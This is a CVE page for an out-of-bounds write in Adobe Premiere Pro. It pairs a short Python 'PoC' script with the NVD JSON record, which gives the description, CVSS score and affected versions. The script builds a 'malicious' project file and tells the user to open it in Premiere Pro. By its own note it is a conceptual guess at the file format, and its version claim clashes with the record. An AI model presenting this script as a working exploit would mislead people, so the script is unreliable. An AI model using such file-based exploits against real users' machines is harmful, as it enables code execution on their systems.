CVE-2026-34637

#!/usr/bin/env python3 # PoC for CVE-2026-34637 (Adobe Premiere Pro Out-of-bounds Write) # This script generates a malformed file structure to trigger the vulnerability. # Note: This is a conceptual demonstration based on the vulnerability description. import struct def generate_malicious_file(filename): with open(filename, 'wb') as f: # Write a legitimate header to bypass initial checks f.write(b'\x00\x00\x00\x01') # Simulate a chunk that triggers the out-of-bounds write # The field 'size' is set to a large value to overflow the allocated buffer chunk_id = b'OVRF' chunk_size = 0xFFFFFFFF # Malformed size causing overflow f.write(chunk_id) f.write(struct.pack('<I', chunk_size)) # Padding data to reach the write location f.write(b'A' * 0x100) print(f"[+] Malicious file generated: {filename}") print(f"[+] Open this file in Adobe Premiere Pro < 26.0.2 to trigger.") if __name__ == "__main__": generate_malicious_file("cve_2026_34637_poc.prproj")

{"cve": {"id": "CVE-2026-34637", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:10.070", "lastModified": "2026-05-13T14:30:22.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:premiere_pro:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.6.5", "matchCriteriaId": "5785D702-760C-4732-A035-0FE9979B51E9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:premiere_pro:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.2", "matchCriteriaId": "2DB8A153-6ACB-4DDC-9B9B-24EE19CCCAE3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}